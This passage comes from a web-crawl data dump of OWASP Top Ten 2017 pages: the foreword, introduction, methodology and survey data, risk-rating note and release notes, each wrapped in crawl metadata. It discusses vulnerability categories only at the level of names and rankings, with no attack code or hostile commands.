Monitoring](A10_2017-Insufficient_Logging%2526Monitoring.html)** | **App. Specific** | AVERAGE: 2 | WIDESPREAD: 3 | DIFFICULT: 1 | MODERATE: 2 | **App. Specific** | **4.0** |\n| Project Sponsorship The Top 10 covers a lot of ground, but there are many other risks you should consider and evaluate in your organization. Some of these have appeared in previous versions of the Top 10, and others have not, including new attack techniques that are being identified all the time. Other important application security risks (ordered by CWE-ID) that you should additionally consider include:\n\n* [CWE-352: Cross-Site Request Forgery (CSRF)](https://cwe.mitre.org/data/definitions/352.html)\n\n* [CWE-400: Uncontrolled Resource Consumption (‘Resource Exhaustion’, ‘AppDoS’)](https://cwe.mitre.org/data/definitions/400.html)\n\n* [CWE-434: Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html)\n\n* [CWE-451: User Interface (UI) Misrepresentation of Critical Information (Clickjacking and others)](https://cwe.mitre.org/data/definitions/451.html)\n\n* [CWE-601: Unvalidated Forward and Redirects](https://cwe.mitre.org/data/definitions/601.html)\n\n* [CWE-799: Improper Control of Interaction Frequency (Anti-Automation)](https://cwe.mitre.org/data/definitions/799.html)\n\n* [CWE-829: Inclusion of Functionality from Untrusted Control Sphere (3rd Party Content)](https://cwe.mitre.org/data/definitions/829.html)\n\n* [CWE-918: Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html) | | | | | | | |\n\n---", "znaku_textu": 5472, "slov": 639, "odkazu": 45, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:32", "sha256": "7d418487985ceccb688f9e80a921153dd417b9564dd1f5d87e0446926e774a77", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf", "https://cwe.mitre.org/data/definitions/352.html", "https://cwe.mitre.org/data/definitions/400.html", "https://cwe.mitre.org/data/definitions/434.html", "https://cwe.mitre.org/data/definitions/451.html", "https://cwe.mitre.org/data/definitions/601.html", "https://cwe.mitre.org/data/definitions/799.html", "https://cwe.mitre.org/data/definitions/829.html", "https://cwe.mitre.org/data/definitions/918.html", "https://owasp.github.io/www-project-top-ten", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-top-ten/2017/Foreword", "titulek": "OWASP Top Ten 2017 | Foreword | OWASP Foundation", "h1": "Foreword", "popis": "Foreword on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-top-ten/2017/Foreword", "jazyk": "en_US", "robots_meta": "", "og": {"og:description": "Foreword on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Top Ten 2017 | Foreword | OWASP Foundation", "og:url": "https://owasp.org/www-project-top-ten/2017/Foreword.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Foreword"}], "markdown": "OWASP Top Ten 2017\n\n| Foreword | Languages: \n \n [en] \n [de](/www-project-top-ten/2017/de/Vorwort) |\n| --- | --- |\n\n| Foreword Insecure software is undermining our financial, healthcare, defense, energy, and other critical infrastructure. As our software becomes increasingly complex, and connected, the difficulty of achieving application security increases exponentially. The rapid pace of modern software development processes makes the most common risks essential to discover and resolve quickly and accurately. We can no longer afford to tolerate relatively simple security problems like those presented in this OWASP Top 10.\n\nA great deal of feedback was received during the creation of the OWASP Top 10 - 2017, more than for any other equivalent OWASP effort. This shows how much passion the community has for the OWASP Top 10, and thus how critical it is for OWASP to get the Top 10 right for the majority of use cases.\n\nAlthough the original goal of the OWASP Top 10 project was simply to raise awareness amongst developers and managers, it has become the de facto application security standard.\n\nIn this release, issues and recommendations are written concisely and in a testable way to assist with the adoption of the OWASP Top 10 in application security programs. We encourage large and high performing organizations to use the [OWASP Application Security Verification Standard (ASVS)](/www-project-application-security-verification-standard) if a true standard is required, but for most, the OWASP Top 10 is a great start on the application security journey.\n\nWe have written up a range of suggested next steps for different users of the OWASP Top 10, including [What’s Next for Developers](What%2527s_Next_for_Developers), [What’s Next for Security Testers](What%2527s_Next_for_Security_Testers), [What’s Next for Organizations](What%2527s_Next_for_Organizations), which is suitable for CIOs and CISOs, and [What’s Next for Application Managers](What%2527s_Next_for_Application_Managers), which is suitable for application managers or anyone responsible for the lifecycle of the application.\n\nIn the long term, we encourage all software development teams and organizations to create an application security program that is compatible with your culture and technology. These programs come in all shapes and sizes. Leverage your organization’s existing strengths to measure and improve your application security program using the [Software Assurance Maturity Model](/www-project-samm).\n\nWe hope that the OWASP Top 10 is useful to your application security efforts. Please don’t hesitate to contact OWASP with your questions, comments, and ideas at our GitHub project repository:\n\n* [https://github.com/OWASP/Top10/issues](https://github.com/OWASP/Top10/issues)\n\nYou can find the OWASP Top 10 project and translations here:\n\n* [https://owasp.org/www-project-top-ten](https://owasp.org/www-project-top-ten)\n \n\nLastly, we wish to thank the founding leadership of the OWASP Top 10 project, Dave Wichers and Jeff Williams, for all their efforts, and believing in us to get this finished with the community’s help. Thank you!\n\n \n\n* Andrew van der Stock\n\n* Brian Glas\n\n* Neil Smithline\n\n* Torsten Gigler |\n| --- |\n| Project Sponsorship Thanks to [Autodesk](https://www.autodesk.com/) for sponsoring the OWASP Top 10 - 2017.\n\nOrganizations and individuals that have provided vulnerability prevalence data or other assistance are listed on the [Acknowledgements page](Acknowledgements). |\n\n---", "znaku_textu": 3435, "slov": 479, "odkazu": 36, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:11", "sha256": "2ffeaea646952bfba88cdc5b2e9a200a55722f55816955efd379e5fc80566a51", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf", "https://github.com/OWASP/Top10/issues", "https://www.autodesk.com/", "https://owasp.github.io/www-project-top-ten", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-top-ten/2017/Foreword.html", "titulek": "OWASP Top Ten 2017 | Foreword | OWASP Foundation", "h1": "Foreword", "popis": "Foreword on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-top-ten/2017/Foreword", "jazyk": "en_US", "robots_meta": "", "og": {"og:description": "Foreword on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Top Ten 2017 | Foreword | OWASP Foundation", "og:url": "https://owasp.org/www-project-top-ten/2017/Foreword.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Foreword"}], "markdown": "OWASP Top Ten 2017\n\n| Foreword | Languages: \n \n [en] \n [de](/www-project-top-ten/2017/de/Vorwort) |\n| --- | --- |\n\n| Foreword Insecure software is undermining our financial, healthcare, defense, energy, and other critical infrastructure. As our software becomes increasingly complex, and connected, the difficulty of achieving application security increases exponentially. The rapid pace of modern software development processes makes the most common risks essential to discover and resolve quickly and accurately. We can no longer afford to tolerate relatively simple security problems like those presented in this OWASP Top 10.\n\nA great deal of feedback was received during the creation of the OWASP Top 10 - 2017, more than for any other equivalent OWASP effort. This shows how much passion the community has for the OWASP Top 10, and thus how critical it is for OWASP to get the Top 10 right for the majority of use cases.\n\nAlthough the original goal of the OWASP Top 10 project was simply to raise awareness amongst developers and managers, it has become the de facto application security standard.\n\nIn this release, issues and recommendations are written concisely and in a testable way to assist with the adoption of the OWASP Top 10 in application security programs. We encourage large and high performing organizations to use the [OWASP Application Security Verification Standard (ASVS)](/www-project-application-security-verification-standard) if a true standard is required, but for most, the OWASP Top 10 is a great start on the application security journey.\n\nWe have written up a range of suggested next steps for different users of the OWASP Top 10, including [What’s Next for Developers](What%2527s_Next_for_Developers), [What’s Next for Security Testers](What%2527s_Next_for_Security_Testers), [What’s Next for Organizations](What%2527s_Next_for_Organizations), which is suitable for CIOs and CISOs, and [What’s Next for Application Managers](What%2527s_Next_for_Application_Managers), which is suitable for application managers or anyone responsible for the lifecycle of the application.\n\nIn the long term, we encourage all software development teams and organizations to create an application security program that is compatible with your culture and technology. These programs come in all shapes and sizes. Leverage your organization’s existing strengths to measure and improve your application security program using the [Software Assurance Maturity Model](/www-project-samm).\n\nWe hope that the OWASP Top 10 is useful to your application security efforts. Please don’t hesitate to contact OWASP with your questions, comments, and ideas at our GitHub project repository:\n\n* [https://github.com/OWASP/Top10/issues](https://github.com/OWASP/Top10/issues)\n\nYou can find the OWASP Top 10 project and translations here:\n\n* [https://owasp.org/www-project-top-ten](https://owasp.org/www-project-top-ten)\n \n\nLastly, we wish to thank the founding leadership of the OWASP Top 10 project, Dave Wichers and Jeff Williams, for all their efforts, and believing in us to get this finished with the community’s help. Thank you!\n\n \n\n* Andrew van der Stock\n\n* Brian Glas\n\n* Neil Smithline\n\n* Torsten Gigler |\n| --- |\n| Project Sponsorship Thanks to [Autodesk](https://www.autodesk.com/) for sponsoring the OWASP Top 10 - 2017.\n\nOrganizations and individuals that have provided vulnerability prevalence data or other assistance are listed on the [Acknowledgements page](Acknowledgements). |\n\n---", "znaku_textu": 3435, "slov": 479, "odkazu": 36, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "https://owasp.org/www-project-top-ten/2017/Foreword", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:12", "sha256": "2ffeaea646952bfba88cdc5b2e9a200a55722f55816955efd379e5fc80566a51", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf", "https://github.com/OWASP/Top10/issues", "https://www.autodesk.com/", "https://owasp.github.io/www-project-top-ten", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-top-ten/2017/Introduction.html", "titulek": "OWASP Top Ten 2017 | Introduction | OWASP Foundation", "h1": "Introduction", "popis": "Introduction on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-top-ten/2017/Introduction", "jazyk": "en_US", "robots_meta": "", "og": {"og:description": "Introduction on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Top Ten 2017 | Introduction | OWASP Foundation", "og:url": "https://owasp.org/www-project-top-ten/2017/Introduction.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Introduction"}], "markdown": "OWASP Top Ten 2017\n\n| Introduction | Languages: \n \n [en] \n [de](/www-project-top-ten/2017/de/Einleitung) |\n| --- | --- |\n\n| Welcome to the OWASP Top 10 - 2017! This major update adds several new issues, including two issues selected by the community - [A8:2017-Insecure Deserialization](A8_2017-Insecure_Deserialization) and [A10:2017-Insufficient Logging & Monitoring](A10_2017-Insufficient_Logging%2526Monitoring). Two key differentiators from previous OWASP Top 10 releases are the substantial community feedback and extensive data assembled from dozens of organizations, possibly the largest amount of data ever assembled in the preparation of an application security standard. This provides us with confidence that the new OWASP Top 10 addresses the most impactful application security risks currently facing organizations.\n\nThe OWASP Top 10-2017 is based primarily on 40+ data submissions from firms that specialize in application security and an industry survey that was completed by over 500 individuals. This data spans vulnerabilities gathered from hundreds of organizations and over 100,000 real-world applications and APIs. The Top 10 items are selected and prioritized according to this prevalence data, in combination with consensus estimates of exploitability, detectability, and impact.\n\nA primary aim of the OWASP Top 10 is to educate developers, designers, architects, managers, and organizations about the consequences of the most common and most important web application security weaknesses. The Top 10 provides basic techniques to protect against these high risk problem areas, and provides guidance on where to go from here. | |\n| --- | --- |\n| Roadmap for future activities **Don’t stop at 10**. There are hundreds of issues that could affect the overall security of a web application as discussed in the [OWASP Developer’s Guide](https://wiki.owasp.org/index.php/OWASP_Guide_Project) and the [OWASP Cheat Sheet Series](/www-project-cheat-sheets). These are essential reading for anyone developing web applications and APIs. Guidance on how to effectively find vulnerabilities in web applications and APIs is provided in the OWASP Testing Guide.\n **Constant change**. The OWASP Top 10 will continue to change. Even without changing a single line of your application’s code, you may become vulnerable as new flaws are discovered and attack methods are refined. Please review the advice at the end of the Top 10 in What’s Next For [Developers](What%2527s_Next_for_Developers), [Security Testers](What%2527s_Next_for_Security_Testers), [Organizations](What%2527s_Next_for_Organizations) and [Application Managers](What%2527s_Next_for_Application_Managers) for more information.\n **Think positive**. When you’re ready to stop chasing vulnerabilities and focus on establishing strong application security controls, the [OWASP Proactive Controls](/www-project-proactive-controls) project provides a starting point to help developers build security into their applications and the [OWASP Application Security Verification Standard (ASVS)](/www-project-application-security-verification-standard) is a guide for organizations and application reviewers on what to verify.\n **Use tools wisely**. Security vulnerabilities can be quite complex and deeply buried in code. In many cases, the most cost-effective approach for finding and eliminating these weaknesses is human experts armed with advanced tools. Relying on tools alone provides a false sense of security and is not recommended.\n **Push left, right, and everywhere**. Focus on making security an integral part of your culture throughout your development organization. Find out more in the [OWASP Software Assurance Maturity Model (SAMM)](/www-project-samm). | Attribution We’d like to thank the organizations that contributed their vulnerability data to support the 2017 update. We received more than 40 responses to the call for data. For the first time, all the data contributed to a Top 10 release, and the full list of contributors, is publicly available. We believe this is one of the larger, more diverse collections of vulnerability data ever collected publicly.\n\nAs there are more contributors than space here, we have created a [dedicated page](Acknowledgements) to recognize the contributions made. We wish to give heartfelt thanks to these organizations for being willing to be on the front lines by publicly sharing vulnerability data from their efforts. We hope this will continue to grow and encourage more organizations to do the same and possibly be seen as one of the key milestones of evidence based security. The OWASP Top 10 would not be possible without these amazing contributions.\n\nA big thank you to the more than 500 individuals who took the time to complete the industry ranked survey. Your voice helped determine two new additions to the Top 10. The additional comments, notes of encouragement, and criticisms were all appreciated. We know your time is valuable and we wanted to say thanks.\n\nWe would like to thank those individuals who contributed significant constructive comments and time reviewing this update to the Top 10. As much as possible, we have listed them on the [Acknowledgements](Acknowledgements) page.\n\nAnd finally, we’d like to thank in advance all the translators out there who will translate this release of the Top 10 into numerous different languages, helping to make the OWASP Top 10 more accessible to the entire planet. |\n\n---", "znaku_textu": 5383, "slov": 781, "odkazu": 39, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:13", "sha256": "09f16a0560836a257dc743a22c476c1880a7f99916af0f31dd723dca0042cf9d", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf", "https://wiki.owasp.org/index.php/OWASP_Guide_Project", "https://owasp.github.io/www-project-top-ten", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-top-ten/2017/Methodology_and_Data.html", "titulek": "OWASP Top Ten 2017 | Top 10-2017 Methodology and Data | OWASP Foundation", "h1": "Top 10-2017 Methodology and Data", "popis": "Top 10-2017 Methodology and Data on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-top-ten/2017/Methodology_and_Data", "jazyk": "en_US", "robots_meta": "", "og": {"og:description": "Top 10-2017 Methodology and Data on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Top Ten 2017 | Top 10-2017 Methodology and Data | OWASP Foundation", "og:url": "https://owasp.org/www-project-top-ten/2017/Methodology_and_Data.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Top 10-2017 Methodology and Data"}], "markdown": "OWASP Top Ten 2017\n\n| Top 10-2017 Methodology and Data | Languages: \n \n [en] \n [de](/www-project-top-ten/2017/de/Methodik_und_Daten) |\n| --- | --- |\n\n| Overview At the OWASP Project Summit, active participants and community members decided on a vulnerability view, with up to two (2) forward looking vulnerability classes, with ordering defined partially by quantitative data, and partially by qualitative surveys. | | |\n| --- | --- | --- |\n| Industry Ranked Survey For the survey, we collected the vulnerability categories that had been previously identified as being “on the cusp” or were mentioned in feedback to 2017 RC1 on the Top 10 mailing list. We put them into a ranked survey and asked respondents to rank the top four vulnerabilities that they felt should be included in the OWASP Top 10 - 2017. The survey was open from Aug 2 – Sep 18, 2017. 516 responses were collected and the vulnerabilities were ranked.\n \n Rank Survey Vulnerability Categories Score 1 Exposure of Private Information (‘Privacy Violation’) [CWE-359] 748 2 Cryptographic Failures [CWE-310/311/312/326/327] 584 3 Deserialization of Untrusted Data [CWE-502] 514 4 Authorization Bypass Through User-Controlled Key \n(IDOR & Path Traversal) [CWE-639] 493 5 Insufficient Logging and Monitoring [CWE-223 / CWE-778] 440 \n\nExposure of Private Information is clearly the highest-ranking vulnerability, but fits very easily as an additional emphasis into the existing [A3:2017-Sensitive Data Exposure](A3_2017-Sensitive_Data_Exposure). Cryptographic Failures can fit within Sensitive Data Exposure. Insecure deserialization was ranked at number three, so it was added to the Top 10 as [A8:2017-Insecure Deserialization](Top_10-2017_A8-Insecure_Deserialization) after risk rating. The fourth ranked User-Controlled Key is included in [A5:2017-Broken Access Control](A5_2017-Broken_Access_Control); it is good to see it rank highly on the survey, as there is not much data relating to authorization vulnerabilities. The number five ranked category in the survey is Insufficient Logging and Monitoring, which we believe is a good fit for the Top 10 list, which is why it has become [A10:2017-Insufficient Logging&Monitoring](A10_2017-Insufficient_Logging%2526Monitoring). We have moved to a point where applications need to be able to define what may be an attack and generate appropriate logging, alerting, escalation and response. | | |\n| Rank | Survey Vulnerability Categories | Score |\n| 1 | Exposure of Private Information (‘Privacy Violation’) [CWE-359] | 748 |\n| 2 | Cryptographic Failures [CWE-310/311/312/326/327] | 584 |\n| 3 | Deserialization of Untrusted Data [CWE-502] | 514 |\n| 4 | Authorization Bypass Through User-Controlled Key \n(IDOR & Path Traversal) [CWE-639] | 493 |\n| 5 | Insufficient Logging and Monitoring [CWE-223 / CWE-778] | 440 |\n| Public Data Call Traditionally, the data collected and analyzed was more along the lines of frequency data: how many vulnerabilities were found in tested applications. As is well known, tools traditionally report all instances found of a vulnerability and humans traditionally report a single finding with a number of examples. This makes it very difficult to aggregate the two styles of reporting in a comparable manner.\n\nFor 2017, the incidence rate was calculated by how many applications in a given data set had one or more of a specific vulnerability type. The data from many larger contributors was provided in two views. The first was the traditional frequency style of counting every instance found of a vulnerability, while the second was the count of applications in which each vulnerability was found in (one or more times). While not perfect, this reasonably allows us to compare the data from Human Assisted Tools and Tool Assisted Humans. The raw data and analysis work is [available in GitHub](https://github.com/OWASP/Top10/tree/master/2017/datacall). We intend to expand on this with additional structure for future versions of the Top 10.\n\nWe received 40+ submissions in the call for data, and because many were from the original data call that was focused on frequency, we were able to use data from 23 contributors covering ~114,000 applications. We used a one-year block of time where possible and identified by the contributor. The majority of applications are unique, though we acknowledge the likelihood of some repeat applications between the yearly data from Veracode. The 23 data sets used were either identified as tool assisted human testing or specifically provided incidence rate from human assisted tools. Anomalies in the selected data of 100%+ incidence were adjusted down to 100% max. To calculate the incidence rate, we calculated the percentage of the total applications there were found to contain each vulnerability type. The ranking of incidence was used for the prevalence calculation in the overall risk for ranking the Top 10. | | |\n\n---", "znaku_textu": 4805, "slov": 727, "odkazu": 32, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:33", "sha256": "35ab4aae48e88e33879b1475d9a91e2be8cebb2f56cbe21f67893d9c8f66170d", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf", "https://github.com/OWASP/Top10/tree/master/2017/datacall", "https://owasp.github.io/www-project-top-ten", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-top-ten/2017/Note_About_Risks.html", "titulek": "OWASP Top Ten 2017 | Note About Risks | OWASP Foundation", "h1": "Note About Risks", "popis": "Note About Risks on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-top-ten/2017/Note_About_Risks", "jazyk": "en_US", "robots_meta": "", "og": {"og:description": "Note About Risks on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Top Ten 2017 | Note About Risks | OWASP Foundation", "og:url": "https://owasp.org/www-project-top-ten/2017/Note_About_Risks.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Note About Risks"}], "markdown": "OWASP Top Ten 2017\n\n| Note About Risks | Languages: \n \n [en] \n [de](/www-project-top-ten/2017/de/Anmerkungen_zum_Risikobegriff) |\n| --- | --- |\n\n| It's About the Risks that Weaknesses Represent The Risk Rating methodology for the Top 10 is based on the [OWASP Risk Rating Methodology](/www-community/OWASP_Risk_Rating_Methodology). For each Top 10 category, we estimated the typical risk that each weakness introduces to a typical web application by looking at common likelihood factors and impact factors for each common weakness. We then ordered the Top 10 according to those weaknesses that typically introduce the most significant risk to an application. These factors get updated with each new Top 10 release as things change and evolve.\n\nThe [OWASP Risk Rating Methodology](/www-community/OWASP_Risk_Rating_Methodology) defines numerous factors to help calculate the risk of an identified vulnerability. However, the Top 10 must talk about generalities, rather than specific vulnerabilities in real applications and APIs. Consequently, we can never be as precise as application owners or managers when calculating risks for their application(s). You are best equipped to judge the importance of your applications and data, what your threats are, and how your system has been built and is being operated.\n\nOur methodology includes three likelihood factors for each weakness (prevalence, detectability, and ease of exploit) and one impact factor (technical impact). The risk scales for each factor range from 1-Low to 3-High with terminology specific for each factor. The prevalence of a weakness is a factor that you typically don’t have to calculate. For prevalence data, we have been supplied prevalence statistics from a number of different organizations (as referenced in the Acknowledgements on page 25), and we have aggregated their data together to come up with a Top 10 likelihood of existence list by prevalence. This data was then combined with the other two likelihood factors (detectability and ease of exploit) to calculate a likelihood rating for each weakness. The likelihood rating was then multiplied by our estimated average technical impact for each item to come up with an overall risk ranking for each item in the Top 10 (the higher the result the higher the risk). Detectability, Ease of Exploit, and Impact were calculated from analyzing reported CVEs that were associated with each of the Top 10 categories.\n\n **Note**: This approach does not take the likelihood of the threat agent into account. Nor does it account for any of the various technical details associated with your particular application. Any of these factors could significantly affect the overall likelihood of an attacker finding and exploiting a particular vulnerability. This rating does not take into account the actual impact on your business. *Your organization* will have to decide how much security risk from applications and APIs *the organization* is willing to accept given your culture, industry, and regulatory environment. The purpose of the OWASP Top 10 is not to do this risk analysis for you.\n\nThe following illustrates our calculation of the risk for [A6:2017-Security Misconfiguration](A6_2017-Security_Misconfiguration).\n\n \n Threat Agents / Attack Vectors Security Weakness Impacts **Application Specific** Exploitability: 3 Prevalence: 3 Detectability: 3 Technical: 2 **Business Specific** 3 3 3 Likelihood Rating: 3.0\n(Average of Exploitability, Prevalence and Detectability) * 2 Risk Ranking: 6.0\n(Likelihood * Impact) | | | | | |\n| --- | --- | --- | --- | --- | --- |\n| Threat Agents / Attack Vectors | Security Weakness | Impacts | | | |\n| **Application Specific** | Exploitability: 3 | Prevalence: 3 | Detectability: 3 | Technical: 2 | **Business Specific** |\n| | 3 | 3 | 3 | | |\n| Likelihood Rating: 3.0\n(Average of Exploitability, Prevalence and Detectability) | * 2 | | | | |\n| | Risk Ranking: 6.0\n(Likelihood * Impact) | | | | |\n\n---", "znaku_textu": 3790, "slov": 562, "odkazu": 29, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:31", "sha256": "e88215b8068c0c9a43521e2fb53043802bb73a7343ff0fa3f178acc90963dfa9", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf", "https://owasp.github.io/www-project-top-ten", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-top-ten/2017/Release_Notes", "titulek": "OWASP Top Ten 2017 | Release Notes | OWASP Foundation", "h1": "Release Notes", "popis": "Release Notes on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-top-ten/2017/Release_Notes", "jazyk": "en_US", "robots_meta": "", "og": {"og:description": "Release Notes on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Top Ten 2017 | Release Notes | OWASP Foundation", "og:url": "https://owasp.org/www-project-top-ten/2017/Release_Notes.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Release Notes"}], "markdown": "OWASP Top Ten 2017\n\n| Release Notes | Languages: \n \n [en] \n [de](/www-project-top-ten/2017/de/Neuerungen) |\n| --- | --- |\n\n| What changed from 2013 to 2017? Change has accelerated over the last four years, and the OWASP Top 10 needed to change. We’ve completely refactored the OWASP Top 10, revamped the methodology, utilized a new data call process, worked with the community, re-ordered our risks, re-written each risk from the ground up, and added references to frameworks and languages that are now commonly used. Over the last few years, the fundamental technology and architecture of applications has changed significantly:\n\n* Microservices written in node.js and Spring Boot are replacing traditional monolithic applications. Microservices come with their own security challenges including establishing trust between microservices, containers, secret management, etc. Old code never expected to be accessible from the Internet is now sitting behind an API or RESTful web service to be consumed by Single Page Applications (SPAs) and mobile applications. Architectural assumptions by the code, such as trusted callers, are no longer valid.\n\n* Single page applications, written in JavaScript frameworks such as Angular and React, allow the creation of highly modular feature-rich front ends. Client-side functionality that has traditionally been delivered server-side brings its own security challenges.\n\n* JavaScript is now the primary language of the web with node.js running server side and modern web frameworks such as Bootstrap, Electron, Angular, and React running on the client.\n \n **New issues, supported by data:**\n\n* [A4:2017-XML External Entities (XXE)](A4_2017-XML_External_Entities_(XXE)) is a new category primarily supported by [source code analysis security testing tools (SAST)](https://owasp.org/www-community/Source_Code_Analysis_Tools) data sets.\n \n **New issues, supported by the community:**\nWe asked the community to provide insight into two forward looking weakness categories. After over 500 peer submissions, and removing issues that were already supported by data (such as Sensitive Data Exposure and XXE), the two new issues are:\n\n* [A8:2017-Insecure Deserialization](A8_2017-Insecure_Deserialization), which permits remote code execution or sensitive object manipulation on affected platforms.\n\n* [A10:2107-Insufficient Logging & Monitoring](A10_2017-Insufficient_Logging%2526Monitoring), the lack of which can prevent or significantly delay malicious activity and breach detection, incident response, and digital forensics.\n \n **Merged or retired, but not forgotten:**\n\n* [A4-Insecure Direct Object References](https://wiki.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References) and [A7-Missing Function Level Access Control](https://wiki.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control) merged into [A5:2017-Broken Access Control](A5_2017-Broken_Access_Control).\n\n* [A8-Cross-Site Request Forgery (CSRF)](https://wiki.owasp.org/index.php/Top_10_2013-A8-Cross-Site_Request_Forgery_(CSRF)), as many frameworks include [CSRF](/www-community/attacks/csrf) defenses, it was found in only 5% of applications.\n\n* [A10-Unvalidated Redirects and Forwards](https://wiki.owasp.org/index.php/Top_10_2013-A10-Unvalidated_Redirects_and_Forwards), while found in approximately in 8% of applications, it was edged out overall by XXE. |\n| --- |\n\nOWASP Top 10 - 2013 (Previous Version) **⇒** OWASP Top 10 - 2017 (Current Version)\n [A1-Injection](https://wiki.owasp.org/index.php/Top_10_2013-A1-Injection) **⇒** [A1:2017-Injection](A1_2017-Injection) [A2-Broken Authentication and Session Management](https://wiki.owasp.org/index.php/Top_10_2013-A2-Broken_Authentication_and_Session_Management) **⇒** [A2:2017-Broken Authentication](A2_2017-Broken_Authentication) [A3-Cross-Site Scripting 